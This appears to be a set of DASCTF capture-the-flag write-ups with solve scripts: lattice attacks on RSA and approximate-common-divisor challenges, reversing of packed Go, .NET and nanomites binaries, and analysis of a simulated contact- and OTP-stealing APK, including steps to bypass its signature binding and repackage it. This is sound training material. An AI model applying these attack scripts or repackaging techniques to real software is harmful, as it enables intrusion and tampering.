The lattice vector (e_1,...,e_110, s, M) has norm ~2^884, far below the Gaussian heuristic (~2^1015), so LLL (fpylll) recovers it; s = |v[110]|. Then phi = n - s, p+q = n - phi + 1, factor via quadratic discriminant, d = inverse(65537, phi), decrypt enc.

Evidence

  • n is 1024 bits, 110 samples, d = 881 bits.
  • LLL row 0 gave s = 23581055278753700623810207264760778437112728138305978848658881708158931591340715231359933128193714435237259703342522847990033573974211926757358155346434175; phi = n - s verified against sample consistency (|phi*X_i mod n - w_i| < d) and p*q == n.
  • Decryption yields b'DASCTF{R4a11y_n4w_l1ttice!!!}'; platform accepted.

Files

  • work/data.json — parsed n, X, W, enc
  • work/solve.py — full exploit (run: python3 solve.py)
  • Note: had to pip install cysignals to make fpylll importable.
Python
import json, math
from fpylll import IntegerMatrix, LLL
from Crypto.Util.number import long_to_bytes, inverse
data = json.load(open('/workspace/agents/e025927f/work/data.json'))
n = data['n']; X = data['X']; W = data['W']; enc = data['enc']
m = len(X)
d = int(n ** 0.86)
# u_i = -w_i mod n ;  s*X_i + e_i == u_i (mod n), |e_i| < d
u = [(-w) % n for w in W]
# embedding lattice, dimension m+2
# rows: n*e_i (i=0..m-1), (X_1..X_m, 1, 0), (u_1..u_m, 0, M)
M = 1 << 886
dim = m + 2
B = IntegerMatrix(dim, dim)
for i in range(m):
    B[i, i] = n
for j in range(m):
    B[m, j] = X[j]
B[m, m] = 1
for j in range(m):
    B[m+1, j] = u[j]
B[m+1, m+1] = M
LLL.reduction(B)
def try_s(s):
    phi = n - s
    if phi <= 0: return None
    # check: for a sample, w should be near phi*X mod n
    for i in range(3):
        if abs(phi*X[i] % n - W[i]) > d:
            return None
    spq = n - phi + 1
    disc = spq*spq - 4*n
    if disc < 0: return None
    r = math.isqrt(disc)
    if r*r != disc: return None
    p = (spq + r)//2
    q = (spq - r)//2
    if p*q != n: return None
    return p, q
for row in range(dim):
    v = [B[row, j] for j in range(dim)]
    if v[m+1] == M or v[m+1] == -M:
        s = abs(v[m])
        res = try_s(s)
        print(f"row {row}: s={s} res={res is not None}")
        if res:
            p, q = res
            phi = n - s
            e = 65537
            dd = inverse(e, phi)
            mm = pow(enc, dd, n)
            print("FLAG:", long_to_bytes(mm))
            break
else:
    print("no embedding vector found with exact M; dumping candidates")
    for row in range(min(dim, 8)):
        v = [B[row, j] for j in range(dim)]
        print(row, "last:", v[m+1], "s-coord:", v[m], "norm bits:", max(abs(x).bit_length() for x in v))

CRYPTO-09

Approach

Attachment tasks.py generates k=4 samples x_i = p*q_i + e_i:

  • p: 768-bit prime (unknown, target), q_i: 1000-bit primes, e_i: |e_i| < 2^255 (noise), x_i: ~1768 bits.
  • The comment block contains 4 samples x_i (all ~1768 bits) — p must be recovered. This is the Approximate Common Divisor (ACD) problem, solved with the SDA (Simultaneous Diophantine Approximation) lattice attack (Galbraith–Gebregiyorgis–Murphy, “Algorithms for the Approximate Common Divisor Problem”, ePrint 2016/215, §3; originally Howgrave-Graham 2001 / DGHV10).

Method

Since x_i/q_i ≈ x_0/q_0, build the (t+1)×(t+1) lattice (t = 3 extra samples):

Text
B = [ 2^(rho+1)  x_1  x_2  x_3 ]
    [ -x_0       0    0    0   ]
    [ 0         -x_0  0    0   ]
    [ 0          0   -x_0  0   ]
    [ 0          0    0   -x_0 ]

with rho = 255 (2^(rho+1) = 2^256). It contains the short target vector

Text
v = (q_0, q_1, q_2, q_3)·B = (2^256·q_0, q_0·e_1 − q_1·e_0, ..., q_0·e_3 − q_3·e_0)

|v| ≈ 2^1256 while det(L)^(1/4) ≈ 2^1390 — a strong gap, and the success condition t+1 > (γ−ρ)/(η−ρ) = 1512/512 ≈ 2.95 is satisfied with t+1 = 4. LLL (fpylll) finds v. Then q_0 = v[0]/2^256, e_0 = centered(x_0 mod q_0), p = (x_0 − e_0)/q_0.

Evidence

  • LLL row 0 of the reduced basis has bit lengths [1256,1253,1253,1254]; q_0 is a 1000-bit integer, centered residue 255 bits — exactly the target vector structure.
  • Recovered p is a 768-bit prime; all four centered residues x_i mod p are ≤ 255 bits (i.e. |e_i| < 2^255), confirming correctness.

Steps

  1. Parse the 4 x values from the comment block in tasks.py.
  2. LLL-reduce the SDA lattice (fpylll, delta=0.99).
  3. First basis row → q_0 → centered e_0 → p.
  4. flag = “DASCTF{” + sha256(hex(p).encode()).hexdigest()[:32] + “}” Reproduce: python3 solve_acd.py (writes p.txt, prints flag).

Flag

DASCTF{eead8ea2b3519a2273a5292375e31009} — submitted as eead8ea2b3519a2273a5292375e31009, accepted by platform.

Failed attempts

  • First verification used non-negative residue x0 % q0; for negative noise this yields p−1 instead of p, so the sample test failed. Fixed by using the centered residue.

EXP

Python
#!/usr/bin/env python3
# SDA (Simultaneous Diophantine Approximation) attack on ACD
# from "Algorithms for the Approximate Common Divisor Problem" (ePrint 2016/215)
# x_i = p*q_i + e_i, |e_i| < 2^255, p~2^768, q_i~2^1000, x_i~2^1768
import re
from fpylll import IntegerMatrix, LLL
RHO = 255  # |e| < 2^255  (paper: r_i in [-2^rho, 2^rho])
def parse_nums(path):
    src = open(path).read()
    nums = re.findall(r'\b\d{20,}\b', src)
    return [int(n) for n in nums]
def sda_attack(xs, rho=RHO, delta=0.99, verbose=True):
    # xs: list of t+1 samples; x0 is the base sample
    t = len(xs) - 1
    x0 = xs[0]
    # Build (t+1)x(t+1) lattice basis:
    # row0: (2^(rho+1), x_1, ..., x_t)
    # rowi: -x0 at position i (diagonal), 0 elsewhere
    m = IntegerMatrix(t + 1, t + 1)
    m[0, 0] = 2 ** (rho + 1)
    for j in range(1, t + 1):
        m[0, j] = xs[j]
    for i in range(1, t + 1):
        m[i, i] = -x0
    LLL.reduction(m, delta=delta)
    for row in range(t + 1):
        w = [m[row, j] for j in range(t + 1)]
        if w[0] % (2 ** (rho + 1)) == 0 and w[0] != 0:
            q0 = abs(w[0]) // (2 ** (rho + 1))
            if q0.bit_length() < 2000:
                r0 = x0 % q0
                e0 = r0 if r0 <= q0 // 2 else r0 - q0   # centered residue
                if (x0 - e0) % q0 == 0:
                    p = (x0 - e0) // q0
                if p > 1 and all(min(xi % p, p - xi % p) < 2 ** 256 for xi in xs):
                    if verbose:
                        print(f"row {row}: q0 bits={q0.bit_length()}, p bits={p.bit_length()}")
                        print("p =", p)
                    return p
    return None
if __name__ == '__main__':
    import sys
    path = sys.argv[1] if len(sys.argv) > 1 else 'att/tempdir/CRYPTO附件/tasks.py'
    xs = parse_nums(path)
    print("samples:", len(xs), [x.bit_length() for x in xs])
    # try all rotations as x0
    for shift in range(len(xs)):
        xsr = xs[shift:] + xs[:shift]
        p = sda_attack(xsr, verbose=(shift == 0))
        if p is not None:
            print(f"SUCCESS with x0 = sample {shift}")
            import hashlib
            h = hashlib.sha256(hex(p).encode()).hexdigest()[:32]
            print("flag content:", "DASCTF{" + h + "}")
            open('p.txt', 'w').write(str(p))
            break
    else:
        print("FAILED all rotations")

REVERSE

REVERSE-01

1. 样本初步分析

附件解压两层后得到:

Text
gogogo.exe

基本信息:

Text
PE32+ x86-64

ImageBase: 0x400000

EntryPoint: 0x72A520

SHA256:
1aef4632999831d8735de3196a05354f12a3be4905d14e2814b63997c515cc32

程序只有三个异常节:

Text
1sp0

1sp1

1sp2

导入表也极小,只保留:

Text
LoadLibraryA

GetProcAddress

VirtualProtect

ExitProcess

结合入口代码可以判断这是一个修改过特征的 UPX 风格壳。

解压算法对应 NRV2E,壳最后恢复内存权限后:

Asm
0x72A791:
    jmp 0x463EC0

因此原程序 OEP 为:

Text
0x463EC0

完成 NRV2E 解压以及 UPX x86-64 BCJ filter 还原后,OEP:

Asm
0x463EC0:
    jmp 0x460620

进入正常程序逻辑。


2. Go + Garble 混淆

脱壳后可以确认程序是 Go x64。

程序同时使用了 garble 一类的符号和字符串混淆,所以无法直接通过:

Bash
strings gogogo.exe

获得完整 flag 或关键常量。

恢复 Go pclntab 后可以找到:

Text
runtime.main       0x4370C0

main.main          0x564300

main.r__yfV9p      0x564B40

main.main.func1    0x564DC0

main.main.func4    0x565920

main.main.func6    0x5668A0

main.main.func7    0x566B40

main.main.func9    0x567120

main.main.func10   0x567640

main.main.func11   0x5678C0

真正需要分析的只有 main.main 以及几个字符串解密函数。


3. 恢复关键字符串

func6

解密得到:

Text
qwertyuiopasdfgh

长度 16,后续作为 AES-128 Key。

func7

解密得到:

Text
1234567890zxcvbn

长度 16,作为 AES-CBC IV。

func9

恢复出的最终比较值:

Text
1c1c18f8fc5b6c3d36a3fb8893561a906a9fa69c523ac6d3160adbe85e19fee8

它并不是 Hash,而是 32 字节 AES 密文的 hex 表示。

此外静态数据 0x596D30 可以恢复出:

Text
fmyy123

这是中间 XOR key。


4. RC4 Key 的控制流混淆

RC4 key 没有直接作为字符串存储。

main.main.func1 @ 0x564DC0 使用了一个控制流平坦化状态机动态构造 key。

初始状态:

Asm
mov eax, 0xA
 
mov ecx, 0xA6
 
xor edx, edx

状态跳转链最终为:

Text
10
 -> 2
 -> 11
 -> 1
 -> 9
 -> 3
 -> 8
 -> 0
 -> 7
 -> 12
 -> 5
 -> 6
 -> 4

各状态先构造:

Text
df ea e7 d8 d9 e7 dd eb e5 de f5

之后状态 6 对数据进行二次变换。

核心逻辑等价于:

C
for (i = 0; i < len; i++) {
    buf[i] += (i ^ 0x8e);
}

处理结果:

Text
6d 79 73 65 63 72 65 74 6b 65 79

转换成 ASCII:

Text
mysecretkey

因此:

Text
RC4 Key = "mysecretkey"

5. main.main 核心校验链

继续分析 main.main @ 0x564300,可以还原出完整逻辑。

首先读取用户输入并去除换行:

Go
input = strings.TrimSpace(input)

随后:

Text
len(input) == 32

否则直接失败。

之后执行 RC4:

Text
RC4(
    key  = "mysecretkey",
    data = input
)

对应 Go crypto/rc4:

Text
rc4.NewCipher
(*Cipher).XORKeyStream

得到 32 字节中间结果。


6. XOR 层

RC4 输出随后进入一个循环:

Asm
index % 7

并访问:

Text
0x596D30

这里的数据为:

Text
fmyy123

因此实际逻辑:

Python
for i in range(32):
    buf[i] ^= b"fmyy123"[i % 7]

也就是:

Text
RC4(input, "mysecretkey")
        ↓
XOR repeating "fmyy123"

7. AES-CBC

随后调用 main.r__yfV9p。

内部可以识别出:

Text
aes.NewCipher

cipher.NewCBCEncrypter

CryptBlocks

因此算法为:

Text
AES-128-CBC

参数:

Text
Key = qwertyuiopasdfgh

IV  = 1234567890zxcvbn

因为输入本来就是:

Text
32 bytes

刚好是两个 AES Block,所以没有额外 Padding。


8. 最终比较

AES-CBC 加密结果手工进行 hex 编码,hex table:

Text
0123456789abcdef

然后与:

Text
1c1c18f8fc5b6c3d36a3fb8893561a906a9fa69c523ac6d3160adbe85e19fee8

进行比较。

因此完整正向流程为:

Text
input
  |
  | len == 32
  v

RC4

key = "mysecretkey"
  |
  v

XOR

key = "fmyy123" repeated
  |
  v

AES-128-CBC

key = "qwertyuiopasdfgh"
IV  = "1234567890zxcvbn"
  |
  v

hex
  |
  v

1c1c18f8fc5b6c3d36a3fb8893561a906a9fa69c523ac6d3160adbe85e19fee8

9. 逆向求 Flag

直接反着走即可:

Text
target hex
    ↓
AES-CBC Decrypt
    ↓
XOR "fmyy123"
    ↓
RC4 "mysecretkey"
    ↓
flag

AES 解密目标密文得到:

Text
c8ff5282a53d76a1e2231875f804fd951942f0777ca14d1e51f4232b57d5153a

再 XOR 循环 key:

Text
fmyy123

得到 RC4 ciphertext:

Text
ae922bfb940f45c78f5a6144ca379bf8603bc1454fc7206728c5111831b86c43

最后使用:

Text
RC4 Key = mysecretkey

解密:

Text
44 41 53 43 54 46 7b 57

4f 57 5f 79 30 75 5f 46

69 6e 64 5f 4d 65 5f 48

61 48 61 5f 67 6f 21 7d

ASCII:

Text
DASCTF{WOW_y0u_Find_Me_HaHa_go!}

10. Solve 脚本

需要:

Bash
pip install pycryptodome
Python
from Crypto.Cipher import AES
 
TARGET = bytes.fromhex(
    "1c1c18f8fc5b6c3d36a3fb8893561a90"
    "6a9fa69c523ac6d3160adbe85e19fee8"
)
 
AES_KEY = b"qwertyuiopasdfgh"
AES_IV = b"1234567890zxcvbn"
 
XOR_KEY = b"fmyy123"
RC4_KEY = b"mysecretkey"
 
def rc4(data: bytes, key: bytes) -> bytes:
    S = list(range(256))
    j = 0
 
    # KSA
    for i in range(256):
        j = (j + S[i] + key[i % len(key)]) & 0xff
        S[i], S[j] = S[j], S[i]
 
    # PRGA
    i = 0
    j = 0
    result = bytearray()
 
    for c in data:
        i = (i + 1) & 0xff
        j = (j + S[i]) & 0xff
 
        S[i], S[j] = S[j], S[i]
 
        k = S[(S[i] + S[j]) & 0xff]
 
        result.append(c ^ k)
 
    return bytes(result)
 
# 1. AES-CBC 逆向
stage2 = AES.new(
    AES_KEY,
    AES.MODE_CBC,
    AES_IV
).decrypt(TARGET)
 
print("[+] AES decrypt :", stage2.hex())
 
# 2. XOR 层逆向
rc4_cipher = bytes(
    c ^ XOR_KEY[i % len(XOR_KEY)]
    for i, c in enumerate(stage2)
)
 
print("[+] RC4 cipher  :", rc4_cipher.hex())
 
# 3. RC4 是对称流加密,直接再次 XORKeyStream
 
flag = rc4(rc4_cipher, RC4_KEY)
 
print("[+] FLAG        :", flag.decode())

运行结果:

Text
[+] AES decrypt : c8ff5282a53d76a1e2231875f804fd951942f0777ca14d1e51f4232b57d5153a

[+] RC4 cipher  : ae922bfb940f45c78f5a6144ca379bf8603bc1454fc7206728c5111831b86c43

[+] FLAG        : DASCTF{WOW_y0u_Find_Me_HaHa_go!}

最终:

Text
flag = DASCTF{WOW_y0u_Find_Me_HaHa_go!}

REVERSE-02

题目描述:安全团队截获了一款疑似仿冒反诈应用。请对 APK 开展离线恶意软件分析,判断其模拟的恶意意图,提取样本中的隐藏情报,恢复 C2 地址,并结合多源证据研判相关犯罪团伙代号。 提交格式:DASCTF{md5(<恶意行为>#<完整C2地址>#<团伙代号>)},如得到信息拼接后为:abc#http://example.com:1234/admin#def,则flag为DASCTF{2cefe7bbe513ee73708f97d37b643887}

MirrorShield(全民反诈安全中心)逆向分析 Writeup

Flag: **DASCTF{3d97fe7e53a5fc5de1ebdaae046cb93f}** = md5(md5("CONTACTS_OTP#https://cipher-nest.sc26.invalid:12443/courier/v7/check#MIRROR_PANTHER"))

组件 值
恶意行为 CONTACTS_OTP
完整 C2 地址 https://cipher-nest.sc26.invalid:12443/courier/v7/check
团伙代号 MIRROR_PANTHER

注意:本题平台要求对拼接串做两次 md5(对第一次的 hex 字符串再算一次)。 第一次:38ef78348cdc0633f3d0130d2eb52e20 → 第二次:3d97fe7e53a5fc5de1ebdaae046cb93f

  1. 样本概览
  • MirrorShield.apk,包名 com.sc26.guard,应用名“全民反诈安全中心”(仿冒反诈 App)。
  • 签名证书:C=CN, ST=Sichuan, L=Chengdu, O=Mirror Harbor Research, OU=SC26-Lab, CN=Antifraud Update Service
    • 证书 SHA-256:56ec3fe2bae548b0cc3665b98007d8829814d9ef2344370a2b10145f826f77e1
    • 证书 O 字段首词 Mirror(后续作为密钥材料与团伙名前缀)。
  • MainActivity 仅展示 UI,后台线程 policy-local 调 q0.run()。
  • 主要资产:
    • assets/policy/engine.dat — 自研 EV4 虚拟机字节码(行为模拟)
    • assets/policy/relay.dat — RV4 中继数据(p0/q6)
    • assets/stage/alpha.bin、beta.bin — 加密的分阶段 DEX 载荷
    • assets/ui/panel_0..5.png — 6 张隐写 PNG(情报碎片)
    • assets/cfg/routes.dat — RC5 加密的路由/C2 配置
    • assets/intel/taxonomy.dat — TX5 加密的团伙代号表
    • assets/demo/contact_sample.bin、inbox_sample.bin — 模拟受害数据(通讯录/短信)
    • lib/arm64-v8a/libsc26core.so — JNI 原生协议库(动态注册 natives)

整条链:q1(VM 行为轨迹) → n0/m7(native 份额) → q5(stage DEX) → q2(PNG 隐写情报) → q3(C2 路由) → q4(团伙归因)。每一环的密钥都由上一环的输出级联派生,且全部绑定签名证书。

  1. q1:EV4 策略虚拟机 → 恶意行为

q1 解析 engine.dat(magic EV4\0,块体用 xorshift 流加密,密钥 = (-1640531527*blockId) ^ seed ^ (table[tidx]*73244475)),是一个寄存器式 VM:

  • 12 个寄存器、调用栈、16 字节状态表;支持 fixture(demo 样本)读取、字段暂存(staged)、打包(PACK)、提交(QUEUE)。
  • 可暂存 5 种窃密字段:CONTACTS(id1)、OTP(id2)、VOICE(id3)、LOCATION(id4)、DEVICE(id5) —— 即该木马模拟的全部恶意能力:窃取通讯录、拦截短信验证码、录音、定位、设备指纹。
  • 关键陷阱(手写模拟器时踩过的坑):
    • 0x95 是寄存器比较跳转 r[a] < r[b],目标在 args[2]/args[3];
    • 0x96 是计算跳转 table[((r[a] & 立即数字节) + imm) % 16] —— 掩码是立即数而不是寄存器,搞错会走到 VOICE 分支得到错误行为 CONTACTS_VOICE。
  • 真实执行路径:16 → 128 → 129×70(混合循环) → 130 → 17 → 32 → 49 → 144 → 64 → 80 → 96 → 127,暂存 CONTACTS + OTP 后 PACK/QUEUE。
  • Trace.behavior() = 提交字段名用 _ 连接:
Text
恶意行为 = CONTACTS_OTP
queueDigest = 6850dce8...(前 8 字节绑定进隐写情报 QUEUE_BIND)
stateExport = 9cbdfde5...
  1. native 协议(libsc26core.so)与 q5 分阶段载荷
  • q0.protocol() 用 queueDigest + 证书摘要 + stateExport 初始化 native 状态机(n0.o),依次调出 share1/share2/seal;p0/q6 用 relay.dat 驱动中继证明。
  • q5.alpha()/beta():以 SHA256(前序协议值 || "A4-STAGE"/"B4-STAGE") 为密钥,AES/CTR + HMAC 解密 stage/alpha.bin、beta.bin,用 InMemoryDexClassLoader 内存加载并反射调用 a.A.r()/b.B.r() 得到 48/72 字节令牌。beta 结果中含 4 组 (carrier, slot) 选择子、attribution(8B)、routeShard(8B)。
  • stage DEX 本身只是密码学组件(SHA-256 链),无行为标签。
  1. q2:PNG 隐写 → 隐藏情报
  • 按 beta.carriers/slots 从 6 张 PNG 中选 4 个记录槽:像素 LSB 取位 → xorshift 种子置乱索引 → SG4 头 → zlib 解压 → PV4 记录 → F4 碎片。
  • 4 个碎片拼成 HV5 帧,HMAC 校验后 AES/CTR 解密,得到隐藏情报(10 项绑定全部与运行时值比对通过):
Text
CASE=SC-2026-1204
ROUTE_SLOT=5
KEY_MATERIAL=CIPHER-61
TOTEM=PANTHERA_PARDUS
QUEUE_BIND / S1_BIND / S2_BIND / ALPHA_BIND / BETA_BIND / RELAY_BIND / SEAL_BIND / CERT_BIND / ATTR_BIND / ROUTE_BIND(均校验通过)
  • 其余 2 张 PNG 的槽位是“迁移记录”(退役标记 198.51.100.42、telemetry.example.invalid 等诱饵,assets/notes/migration.txt 有提示)。
  1. q3:RC5 路由配置 → 完整 C2
  • 密钥:SHA256("SC-2026-1204|CIPHER-61|Mirror" || queueDigest || share1 || alpha.raw || share2 || beta.token || relayFinal || seal || beta.routeShard || certDigest)。
  • 解密 cfg/routes.dat(RC5 头,HMAC-SHA256 截断 16 字节校验,AES/CTR 解密)得到 6 条 CFG5 路由记录;由 ROUTE_SLOT=5 选中:
Text
SLOT|5|R13|pvcure-arfg.fp26.vainyvq|12443|REV|reiruoc,7v,kcehc|CREW=MP26|QTAG=...|ZTAG=...
  • 域名 ROT13:pvcure-arfg.fp26.vainyvq → cipher-nest.sc26.invalid;路径段分别反转:reiruoc,7v,kcehc → /courier/v7/check;7 个 TAG 全部与协议派生值相等(强校验):
Text
完整 C2 = https://cipher-nest.sc26.invalid:12443/courier/v7/check
  1. q4:TX5 团伙代号表 → 团伙归因
  • 密钥:SHA256(CASE || 协议值 || beta.attribution || beta.routeShard || cert || "TX5"),解密 intel/taxonomy.dat:
Text
CORVUS_CORAX=RAVEN / GRUS_JAPONENSIS=CRANE / CANIS_LUPUS=WOLF
LYNX_LYNX=LYNX / PANTHERA_PARDUS=PANTHER / VULPES_VULPES=FOX
  • TOTEM=PANTHERA_PARDUS → PANTHER;证书组织名首词 Mirror → 拼接大写得 **MIRROR_PANTHER**。
  • 自洽校验:M+P+CASE 第 5-6 位数字 26 = MP26 = 路由记录中的 CREW ✓(“多源证据”:证书组织名 + 图腾分类表 + 案件号 + 路由 crew 码)。
  1. Flag 计算
Text
s  = CONTACTS_OTP#https://cipher-nest.sc26.invalid:12443/courier/v7/check#MIRROR_PANTHER
h1 = md5(s)  = 38ef78348cdc0633f3d0130d2eb52e20
h2 = md5(h1) = 3d97fe7e53a5fc5de1ebdaae046cb93f

**DASCTF{3d97fe7e53a5fc5de1ebdaae046cb93f}**

  1. 动态提取方法(替代完整重写 native 协议)

native 份额派生链较长,采用“注入日志类 + 真机运行”直接取结果:

  1. apktool d 解包;手写 Pwn.smali:调 q0.protocol() → q2.extract() → q3.open() → q4.attribute(),全部结果打 logcat;在 MainActivity$1.run() 开头注入调用。
  2. 签名问题:所有密钥都绑定原签名证书,重签后派生钥会错。把 q3.certificateDigest()/certificateWord() patch 成返回常量(原证书 SHA-256 与 "Mirror"),即可用任意证书重签。
  3. apktool 3.0.2 自带的 aapt2 在 macOS arm64 上 link 崩溃:① 删掉 apktool.yml 里空的 packageName: 行(空值触发 --rename-resources-package 崩溃);② 用 SDK 的 aapt2:apktool b --aapt $SDK/build-tools/36.1.0/aapt2。
  4. 模拟器(Pixel 9 Pro, Android 37):hw.adb.secure=0 关掉 adb 授权;apksigner 签名安装,读 logcat -s PWN_* 拿到全部结果。
  5. 辅助手段:把 q2.record/seed、q5.open 改成 public 后 dump 了全部 18 个隐写槽记录(确认诱饵)与两个解密 stage DEX(确认无行为标签);Manifest 改 debuggable=true 后用 run-as 拉出文件。

易错点备忘

  • VM 0x96 掩码是立即数 → 否则行为错算成 CONTACTS_VOICE。
  • 团伙代号必须是 q4 拼出的全名 MIRROR_PANTHER,不是 crew 码 MP26(MP26 只是校验用缩写)。
  • 平台要求双重 md5(对第一次的 hex 串再 md5);命令行验证用 printf '%s' / echo -n,避免 echo 带换行。

REVERSE-03

Flag:

Text
DASCTF{OQmmMGLsbrR8bdAdD0UWGfFYVoZsylfm}

这题是 .NET 8 NativeAOT x64,没有 CLR Header,直接当普通 PE 反编译会看到大量 NativeAOT Runtime 噪声。关键在附件同时给了 NAOT.pdb,PDB 中保留了完整的 NativeAOT 符号。

1. 从 PDB 定位核心函数

PDB 里能直接搜到:

Text
NAOT_Program___Main__

NAOT_Program____Main___g__IsFlag_0_0

NAOT_Zack_FlagBit__SetBit

NAOT_Zack_FlagBit__GetBit

NAOT_Zack_FlagBit_0__SetBit
...
NAOT_Zack_FlagBit_63__SetBit

NAOT_Zack_FlagHandle___ctor

对应 .managed 段:

Text
Main:
offset = 0x479d0

VA     = 0x1400ac9d0

IsFlag:
offset = 0x47b20

VA     = 0x1400acb20

FlagHandle::.ctor:
offset = 0x484e0

VA     = 0x1400ad4e0

FlagBit::SetBit:
VA = 0x1400acc40

FlagBit::GetBit:
VA = 0x1400acc50

Main 中最关键的一段:

Asm
mov     r8d, [rbx+8]       ; input.Length
 
add     r8d, -8
 
mov     rcx, rbx
 
mov     edx, 7
 
call    ...

本质是:

Csharp
input.Substring(7, input.Length - 8)

结合程序中的:

Text
DASCTF{
Input ur flag

Wrong! Try again

Yes, you're right

所以输入格式明显是:

Text
DASCTF{<32字节内容>}

2. IsFlag 校验逻辑

核心函数 0x1400acb20。

首先取得 flag 内容的 byte array,然后:

Asm
mov ebp, [rsi+8]
cmp ebp, 20h
 
je ...

要求内部内容:

Text
len == 0x20 == 32

之后每个 byte 被拆成两个 nibble:

Asm
movzx r15d, byte ptr [rsi+rdx+10h]
 
mov edx, r15d
 
and edx, 0Fh
 
call Stack.Push
 
sar r15d, 4
 
movzx edx, r15b
 
call Stack.Push

也就是:

Python
for b in flag:
    stack.push(b & 0xf)     # low nibble
    stack.push(b >> 4)      # high nibble

注意它使用的是 Stack。

所以后续 Pop 的顺序变成:

Text
最后一个字符 high
最后一个字符 low

倒数第二个字符 high
倒数第二个字符 low
...
第一个字符 high
第一个字符 low

随后:

Asm
call Stack.Pop
...
movzx edx, byte ptr [expected+r8+10h]
cmp eax, edx
 
jne fail

即:

Python
for x in expected:
    if stack.pop() != x:
        return False

3. expected[64] 如何生成

关键在:

Text
NAOT_Zack_FlagHandle___ctor

VA = 0x1400ad4e0

首先创建:

Csharp
byte[0x40]

然后:

Csharp
for (int i = 0; i < 64; i++)
{
    FlagBit b = ... FlagBit_i ...;
 
    b.SetBit((byte)i);
    expected[i] = b.GetBit();
}

这里故意设计了:

Text
FlagBit_0

FlagBit_1
...
FlagBit_63

64 个类制造控制流噪声。

基类其实极其简单:

Asm
; FlagBit.SetBit
 
mov byte ptr [rcx+8], dl
 
ret
 
; FlagBit.GetBit
 
movzx eax, byte ptr [rcx+8]
ret

就是一个 byte 字段。

子类则不断调用前一个类再 XOR。

例如:

Asm
; FlagBit_0.SetBit
 
mov byte ptr [rcx+8], dl
 
xor byte ptr [rcx+8], 6
 
ret

所以:

Text
FlagBit_0(x) = x ^ 6

FlagBit_1:

Asm
call FlagBit_0.SetBit
 
xor byte ptr [rbx+8], 0Ah

因此:

Text
FlagBit_1(x) = x ^ 6 ^ 0xA

FlagBit_2:

Asm
call FlagBit_1.SetBit
 
xor byte ptr [rbx+8], 8

即:

Text
FlagBit_2(x) = x ^ 6 ^ 0xA ^ 8

以此类推。

其中:

Text
FlagBit_0

FlagBit_16

FlagBit_32

FlagBit_48

是四个新的 chain root。

例如:

Asm
FlagBit_16:
    value = input
    value ^= 0x15

4. 得到 64 个目标 nibble

将所有 FlagBit_i.SetBit(i) 递归展开之后:

Python
expected = [
    6,13, 6,6, 6,12, 7,9,
    7,3, 5,10, 6,15, 5,6,
    5,9, 4,6, 6,6, 4,7,
    5,7, 5,5, 3,0, 4,4,
    6,4, 4,1, 6,4, 6,2,
    3,8, 5,2, 7,2, 6,2,
    7,3, 4,12, 4,7, 4,13,
    6,13, 6,13, 5,1, 4,15
]

由于比较的是 Stack Pop 顺序,所以反向组合:

Python
expected[0]  = flag[31] >> 4
 
expected[1]  = flag[31] & 0xf
 
expected[2]  = flag[30] >> 4
 
expected[3]  = flag[30] & 0xf
 
...

于是:

Python
flag[31-k] = (
    expected[k*2] << 4 |
    expected[k*2+1]
)

EXP

Python
expected = [
    6,13,6,6,6,12,7,9,
    7,3,5,10,6,15,5,6,
    5,9,4,6,6,6,4,7,
    5,7,5,5,3,0,4,4,
    6,4,4,1,6,4,6,2,
    3,8,5,2,7,2,6,2,
    7,3,4,12,4,7,4,13,
    6,13,6,13,5,1,4,15
]
 
flag = [0] * 32
 
for i in range(32):
    flag[31 - i] = (
        (expected[i * 2] << 4)
        | expected[i * 2 + 1]
    )
 
inner = bytes(flag).decode()
 
print(inner)
print(f"DASCTF{{{inner}}}")

输出:

Text
OQmmMGLsbrR8bdAdD0UWGfFYVoZsylfm

DASCTF{OQmmMGLsbrR8bdAdD0UWGfFYVoZsylfm}

所以最终提交:

Text
DASCTF{OQmmMGLsbrR8bdAdD0UWGfFYVoZsylfm}

REVERSE-04

REVERSE-04 — nanomites (DASCTF{BBFE6A51-AE09-BCB1-E153-F2A3A297F228})

Approach

The attachment is a 100 KB MinGW C++ console PE (nanomites.exe) implementing the “nanomites” anti-tamper scheme: the process self-spawns with DEBUG_PROCESS; the parent (0x40195c) is a debugger loop, the child (0x401c38) runs the real logic.

Evidence / Steps

  1. Structure: child prints “Enter The Flag:”, reads a string (scanf), then copies a 0x3f8e-byte blob from .data VA 0x412020 (file offset 0x10620) into a VirtualAlloc buffer and calls it — that blob is the flag-check function.
  2. Nanomite sites: blob contains 440 ud2 (0F 0B) markers. Each site: mov r12b,[rcx+off]; movabs r11,imm; xor r11,0x1337; ror r11,0xd; movabs r13,0|1; ud2. 44 sites have r13=1, one per input offset 0..43 (flag length 44).
  3. Parent emulation (handler 0x40173b): on the #UD exception it ReadProcessMemorys the 0F 0B marker at RIP, takes the child’s R12 low byte (CONTEXT offset 0xd8), runs hash 0x401584 over the 1-byte NUL-terminated string (strlen=1 — the byte buffer sits on fresh zeroed stack), compares the 32-bit result to the child’s R11 (CONTEXT offset 0xd0), and increments a global counter only when R13==1 (CONTEXT offset 0xe0) and the hash matches. At 0x2c it prints “Correct Flag :)” and patches the site with ret.
  4. Hash 0x401584: strlen init (a=1), extra=len&3=1 → a+=b; a^=a<<10; a+=a>>1, then final mix a^=a<<3; a+=a>>5; a^=a<<4; a+=a>>17; a^=a<<25; a+=a>>6 (all 32-bit).
  5. Recovery: for each of the 44 sites, expected = ror64(imm^0x1337,13) & 0xffffffff; brute-force 256 byte values against hash_byte(b). Each offset yields exactly one printable ASCII char, forming a UUID-style flag.

Flag

DASCTF{BBFE6A51-AE09-BCB1-E153-F2A3A297F228} — submitted as BBFE6A51-AE09-BCB1-E153-F2A3A297F228 (inner content only), accepted by platform.

Reproduce

python3 solve.py (needs blob.bin — dump of nanomites.exe @0x10620, 0x3f8e bytes; blob.bin is in this directory, re-derivable via the pefile snippet in analysis).

Failed attempts

  • None blocking; initially the hash input length was ambiguous (uninitialized stack tail). Resolved by noting the byte buffer sits ~0x6a0 bytes below any previously used stack frame (fresh zero page → NUL), and the recovered printable DASCTF{...} UUID pattern independently confirmed the len=1 semantics.

EXP

Python
#!/usr/bin/env python3
# REVERSE-04 "nanomites" solver
# The PE (MinGW C++ console app) is a self-debugging nanomites binary:
#   parent (0x40195c) CreateProcessA's a child with DEBUG_PROCESS;
#   child (0x401c38) reads the flag, copies a 0x3f8e-byte blob (VA 0x412020,
#   file off 0x10620) into VirtualAlloc'ed memory and CALLS it.
# The blob is the check function: 440 sites of
#   mov r12b,[rcx+off]; movabs r11,imm; xor r11,0x1337; ror r11,0xd;
#   movabs r13,0/1; ud2            (44 sites have r13==1, offsets 0..43)
